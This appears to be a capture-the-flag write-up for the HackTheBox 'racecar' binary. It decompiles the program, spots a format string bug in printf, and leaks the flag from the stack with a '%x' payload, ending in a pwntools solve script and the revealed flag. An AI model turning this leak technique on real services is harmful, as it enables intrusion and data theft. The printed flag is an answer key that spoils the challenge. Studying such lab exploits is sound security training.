Challenge Synopsis#
Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag! (Source)
Solution#
❯ file racecar
racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped
❯ checksec --file=racecar
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 96 Symbols No 0 3 racecar
❯ ./racecar
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
______ |xxx|
/|_||_\`.__ | F |
( _ _ _\ |xxx|
*** =`-(_)--(_)-' | I |
|xxx|
| N |
|xxx|
| I |
|xxx|
_-_- _/\______\__ | S |
_-_-__ / ,-. -|- ,-.`-. |xxx|
_-_- `( o )----( o )-' | H |
`-' `-' |xxx|
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
Insert your data:
Name: Shiro
Nickname: shiro
[+] Welcome [Shiro]!
[*] Your name is [Shiro] but everybody calls you.. [shiro]!
[*] Current coins: [69]
1. Car info
2. Car selection
> 1
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
Car #1 stats: 🚗
[Speed]: ▋▋▋▋
[Acceleration]: ▋▋▋▋▋
[Handling]: ▋▋▋▋▋▋▋▋
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
Car #2 stats: 🏎️
[Speed]: ▋▋▋▋▋▋▋▋▋
[Acceleration]: ▋▋▋▋▋▋▋▋
[Handling]: ▋▋
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
1. Car info
2. Car selection
> 2
Select car:
1. 🚗
2. 🏎️
> 2
Select race:
1. Highway battle
2. Circuit
> 1
[*] Waiting for the race to finish...
[+] You won the race!! You get 100 coins!
[+] Current coins: [169]
[!] Do you have anything to say to the press after your big victory?
> test
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
test
Decompiling the binary in Ghidra reveals the following functions.
main
#
void main(void)
{
int iVar1;
int iVar2;
int in_GS_OFFSET;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
setup();
banner();
info();
while (check != 0) {
iVar2 = menu();
if (iVar2 == 1) {
car_info();
}
else if (iVar2 == 2) {
check = 0;
car_menu();
}
else {
printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
}
}
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
car_menu
#
void car_menu(void)
{
int iVar1;
int iVar2;
uint __seed;
int iVar3;
size_t sVar4;
char *__format;
FILE *__stream;
int in_GS_OFFSET;
undefined *puVar5;
undefined4 uVar6;
undefined4 uVar7;
uint local_54;
char local_3c [44];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
uVar6 = 0xffffffff;
uVar7 = 0xffffffff;
do {
printf(&DAT_00011948);
iVar1 = read_int(uVar6,uVar7);
if ((iVar1 != 2) && (iVar1 != 1)) {
printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
}
} while ((iVar1 != 2) && (iVar1 != 1));
iVar2 = race_type();
__seed = time((time_t *)0x0);
srand(__seed);
if (((iVar1 == 1) && (iVar2 == 2)) || ((iVar1 == 2 && (iVar2 == 2)))) {
iVar2 = rand();
iVar2 = iVar2 % 10;
iVar3 = rand();
iVar3 = iVar3 % 100;
}
else if (((iVar1 == 1) && (iVar2 == 1)) || ((iVar1 == 2 && (iVar2 == 1)))) {
iVar2 = rand();
iVar2 = iVar2 % 100;
iVar3 = rand();
iVar3 = iVar3 % 10;
}
else {
iVar2 = rand();
iVar2 = iVar2 % 100;
iVar3 = rand();
iVar3 = iVar3 % 100;
}
local_54 = 0;
while( true ) {
sVar4 = strlen("\n[*] Waiting for the race to finish...");
if (sVar4 <= local_54) break;
putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
if ("\n[*] Waiting for the race to finish..."[local_54] == '.') {
sleep(0);
}
local_54 = local_54 + 1;
}
if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
coins = coins + 100;
puVar5 = &DAT_00011538;
printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
&DAT_000119de);
__format = (char *)malloc(0x171);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
/* WARNING: Subroutine does not return */
exit(0x69);
}
fgets(local_3c,0x2c,__stream);
read(0,__format,0x170);
puts(
"\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m"
);
printf(__format);
}
else if (((iVar1 == 1) && (iVar3 < iVar2)) || ((iVar1 == 2 && (iVar2 < iVar3)))) {
printf("%s\n\n[-] You lost the race and all your coins!\n",&DAT_00011548);
coins = 0;
printf("[+] Current coins: [%d]%s\n",0,&DAT_00011538);
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
Reviewing the car_menu
code, we can see a potential vulnerability being format string attack due to the use of printf(__format);
.
❯ echo 'AAAABBBBCCCC' > flag.txt
❯ gdb ./racecar
pwndbg> disassemble main
Dump of assembler code for function main:
0x000013e1 <+0>: lea ecx,[esp+0x4]
0x000013e5 <+4>: and esp,0xfffffff0
0x000013e8 <+7>: push DWORD PTR [ecx-0x4]
0x000013eb <+10>: push ebp
0x000013ec <+11>: mov ebp,esp
0x000013ee <+13>: push ebx
0x000013ef <+14>: push ecx
0x000013f0 <+15>: sub esp,0x10
0x000013f3 <+18>: call 0x7d0 <__x86.get_pc_thunk.bx>
0x000013f8 <+23>: add ebx,0x2b94
0x000013fe <+29>: mov eax,gs:0x14
0x00001404 <+35>: mov DWORD PTR [ebp-0xc],eax
0x00001407 <+38>: xor eax,eax
0x00001409 <+40>: call 0xb93 <setup>
0x0000140e <+45>: call 0x929 <banner>
0x00001413 <+50>: call 0x1082 <info>
0x00001418 <+55>: jmp 0x1463 <main+130>
0x0000141a <+57>: call 0x1352 <menu>
0x0000141f <+62>: cmp eax,0x1
0x00001422 <+65>: je 0x142b <main+74>
0x00001424 <+67>: cmp eax,0x2
0x00001427 <+70>: je 0x1432 <main+81>
0x00001429 <+72>: jmp 0x1443 <main+98>
0x0000142b <+74>: call 0x11d2 <car_info>
0x00001430 <+79>: jmp 0x1463 <main+130>
0x00001432 <+81>: mov DWORD PTR [ebx+0x80],0x0
0x0000143c <+91>: call 0xc91 <car_menu>
0x00001441 <+96>: jmp 0x1463 <main+130>
0x00001443 <+98>: sub esp,0x4
0x00001446 <+101>: lea eax,[ebx-0x2a54]
0x0000144c <+107>: push eax
0x0000144d <+108>: lea eax,[ebx-0x2a44]
0x00001453 <+114>: push eax
0x00001454 <+115>: lea eax,[ebx-0x2661]
0x0000145a <+121>: push eax
0x0000145b <+122>: call 0x670 <printf@plt>
0x00001460 <+127>: add esp,0x10
0x00001463 <+130>: mov eax,DWORD PTR [ebx+0x80]
0x00001469 <+136>: test eax,eax
0x0000146b <+138>: jne 0x141a <main+57>
0x0000146d <+140>: nop
0x0000146e <+141>: mov eax,DWORD PTR [ebp-0xc]
0x00001471 <+144>: xor eax,DWORD PTR gs:0x14
0x00001478 <+151>: je 0x147f <main+158>
0x0000147a <+153>: call 0x1500 <__stack_chk_fail_local>
0x0000147f <+158>: lea esp,[ebp-0x8]
0x00001482 <+161>: pop ecx
0x00001483 <+162>: pop ebx
0x00001484 <+163>: pop ebp
0x00001485 <+164>: lea esp,[ecx-0x4]
0x00001488 <+167>: ret
End of assembler dump.
pwndbg> r
...
[!] Do you have anything to say to the press after your big victory?
> %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
5655a200 170 56555dfa 18 8 26 2 1 5655696c 5655a200 5655a380 41414141 42424242 43434343 eb2c000a 56556d58 56558f8c ffffd3a8 5655638d 56556540 5655a1a0 2 eb2c0b00 0 56558f8c ffffd3c8 56556441 0 0 0
[Inferior 1 (process 16421) exited normally]
Notice the output 41414141 42424242 43434343
? That is the pseudo flag.txt
value being printed out.
Lets try the same options and payload on the remote server.
❯ nc 83.136.253.216 47166
...
[!] Do you have anything to say to the press after your big victory?
> %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
585661c0 170 565b8dfa 52 3 26 2 1 565b996c 585661c0 58566340 7b425448 5f796877 5f643164 34735f31 745f3376 665f3368 5f67346c 745f6e30 355f3368 6b633474 7d213f 27439e00 f7f593fc 565bbf8c ff850468 565b9441 1 ff850514 ff85051c
Lets try to decode the 7b425448
value.
❯ python3
Python 3.12.8 (main, Dec 13 2024, 13:19:48) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> binascii.unhexlify('7b425448')
b'{BTH'
Looks like we got a partial flag value and its in reverse order! We can craft a python script to help automate the decoding of the flag.
❯ cat solve.py
#!/usr/bin/env python3
from pwn import *
import binascii
def main():
try:
payload = b'%x ' * 30
host = '83.136.253.216'
port = '47166'
p = remote(host, port)
# Send interactions to the remote service to trigger the leak
p.sendlineafter(b'Name:', b'a') # Send 'a' for the name
p.sendlineafter(b'Nickname:', b'aa') # Send 'aa' for the nickname
p.sendlineafter(b'>', b'2') # Choose option 2
p.sendlineafter(b'>', b'2') # Choose option 2 again
p.sendlineafter(b'>', b'1') # Choose option 1
p.sendlineafter(b'>', payload) # Send the payload crafted above
p.recv()
response = p.recv().decode('utf-8')
# Split the response and extract the line containing the encoded flag
flag_encoded = response.split('\n')[2]
print(f'Flag encoded in hex: {flag_encoded}')
# Split the hex-encoded flag into individual hex values
flag_encoded_array = flag_encoded.split(' ')
decoded_flag = '' # Variable to accumulate the decoded flag
# Decode each hex value and reverse it to reconstruct the original flag
for hex_value in flag_encoded_array:
hex_value = hex_value.lstrip('0x') # Remove any leading '0x' from the hex string
try:
# Decode the hex value into bytes, ignoring invalid characters
decoded_bytes = bytearray.fromhex(hex_value).decode('utf-8', errors='replace')
# Reverse the bytes to get the original flag
reversed_bytes = decoded_bytes[::-1]
decoded_flag += reversed_bytes # Add the decoded part to the full flag
except ValueError:
# Skip any invalid hex values (they may not decode properly)
continue
# Print the decoded flag, removing any leading/trailing whitespace
print(f'Decoded flag: {decoded_flag.strip()}')
except Exception as e:
# Handle any exceptions that might occur during the execution
print(f'An error occurred: {e}')
if __name__ == '__main__':
main()
❯ python3 solve.py
[+] Opening connection to 83.136.253.216 on port 47166: Done
Flag encoded in hex: 56d7b1c0 170 5656ddfa 38 7 26 2 1 5656e96c 56d7b1c0 56d7b340 7b425448 5f796877 5f643164 34735f31 745f3376 665f3368 5f67346c 745f6e30 355f3368 6b633474 7d213f 586db300 f7f1c3fc 56570f8c ff8c72b8 5656e441 1 ff8c7364 ff8c736c
Decoded flag: �ױV��VV8&l�VV�ױV@׳VHTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}\x00�mX�����\x0fWV�r��A�VVds��ls��
[*] Closed connection to 83.136.253.216 port 47166
Flag: HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}